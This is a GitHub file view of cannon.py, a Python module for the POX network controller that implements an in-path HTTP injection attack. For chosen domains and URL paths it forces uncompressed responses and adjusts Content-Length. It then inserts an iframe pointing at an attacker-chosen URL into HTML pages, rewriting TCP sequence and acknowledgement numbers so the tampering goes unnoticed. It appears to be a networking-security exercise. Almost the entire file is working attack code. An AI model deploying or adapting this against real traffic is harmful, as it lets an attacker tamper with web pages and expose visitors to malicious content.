-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcannon.py
122 lines (100 loc) · 5.55 KB
/
cannon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pox.lib.packet.ipv4 import ipv4
import re
class Cannon(object):
def __init__ (self, target_domain_re, url_path_re, iframe_url):
self.target_domain_re = target_domain_re
self.url_path_re = url_path_re
self.iframe_url = iframe_url
# ! connection map
self.connMap = {}
# Input: an instance of ipv4 class
# Output: an instance of ipv4 class or None
def manipulate_packet (self, ip_packet):
# print "src = ", ip_packet.srcip
# print "dst = ", ip_packet.dstip
# ! only care about HTTP (tcp)
tcp = ip_packet.find('tcp')
if not tcp:
return ip_packet
# * get tcp content
tcpContent = tcp.payload
# * tuple to map connections
req = (ip_packet.srcip, tcp.srcport, ip_packet.dstip, tcp.dstport)
res = (ip_packet.dstip, tcp.dstport, ip_packet.srcip, tcp.srcport)
# * create new connection entry if not exist
# * first request always initiated by the client
if not req in self.connMap.keys():
self.connMap[req] = { 'ack': 0, 'seq': 0, 'role': 'client', 'target': False }
self.connMap[res] = { 'ack': 0, 'seq': 0, 'role': 'server', 'target': False }
# ! the current request is always represented by the req tuple
# ! adjust ack and seq
tcp.ack = (tcp.ack + self.connMap[req]['ack']) % 2**32
tcp.seq = (tcp.seq + self.connMap[req]['seq']) % 2**32
# print 'ack: ' + str(tcp.ack)
# print 'seq: ' + str(tcp.seq)
# ! case 1: is request
if bool(re.match('^GET\s+.+', tcpContent)):
# * get domain and url path
domain = tcpContent[tcpContent.find("Host: ")+6 : tcpContent.find("\r\n", tcpContent.find("Host: "))]
url = tcpContent[tcpContent.find("GET ")+4 : tcpContent.find("HTTP", tcpContent.find("GET "))-1]
# print "domain: " + domain + " length: " + str(len(domain))
# print "url: " + url + " length: " + str(len(url))
domainMatch = bool(self.target_domain_re.search(domain))
pathMatch = bool(self.url_path_re.search(url))
# todo remove comment
if not (domainMatch & pathMatch):
return ip_packet
self.connMap[res]['target'] = True
self.connMap[req]['target'] = True
# * if Accept-Encoding is already there
if "Accept-Encoding: " in tcpContent:
start = tcpContent.find("Accept-Encoding: ") + 17
end = tcpContent.find("\r\n", start)
# print "packet: " + tcpContent[start:end]
tcpContent = tcpContent.replace(tcpContent[start : end], "identity")
tcp.payload = tcpContent
offset = 8 - (end - start) # * length of "identity" = 8
self.connMap[res]['ack'] += 0 - offset
self.connMap[req]['seq'] += offset
# print 'ack offset: ' + str(self.connMap[res]['ack'])
# print 'seq offset: ' + str(self.connMap[req]['seq'])
# print 'ack: ' + str(tcp.ack)
# print 'seq: ' + str(tcp.seq)
return ip_packet
# else:
# noCompress = "Accept-Encoding: identity"
# headers = tcpContent.split('\r\n')
# headers.insert(len(headers)/2, noCompress)
# tcpContent = '\r\n'.join(headers)
# tcp.payload = tcpContent
# ! case 2: if the packet is from the server and the site is a target
# ! the current request is always represented by the req tuple
if (self.connMap[req]['role'] == 'server') & self.connMap[req]['target']:
# * do not modify unless content-type is text/html and replace content-length if exists
if ("Content-Length: " in tcpContent) & ("Content-Type: text/html" in tcpContent):
start = tcpContent.find("Content-Length: ") + len("Content-Length: ")
end = tcpContent.find("\r\n", start)
# print "length: " + tcpContent[start:end]
oldLen = int(tcpContent[start:end])
newLen = oldLen + len('<iframe src="' + self.iframe_url + '"><\iframe>')
offset = len(str(newLen)) - len(str(oldLen))
tcpContent = tcpContent.replace(tcpContent[start : end], str(newLen))
tcp.payload = tcpContent
self.connMap[res]['ack'] += 0 - offset
self.connMap[req]['seq'] += offset
# print 'ack offset: ' + str(self.connMap[res]['ack'])
# print 'seq offset: ' + str(self.connMap[req]['seq'])
# print 'ack: ' + str(tcp.ack)
# print 'seq: ' + str(tcp.seq)
return ip_packet
if '</body>' in tcpContent:
# * inject iframe
iframe = '<iframe src="' + self.iframe_url + '"><\iframe></body>'
offset = len(iframe) - len('</body>')
tcpContent = tcpContent.replace('</body>', iframe)
tcp.payload = tcpContent
self.connMap[res]['ack'] += 0 - offset
self.connMap[req]['seq'] += offset
return ip_packet
# Must return an ip packet or None
return ip_packet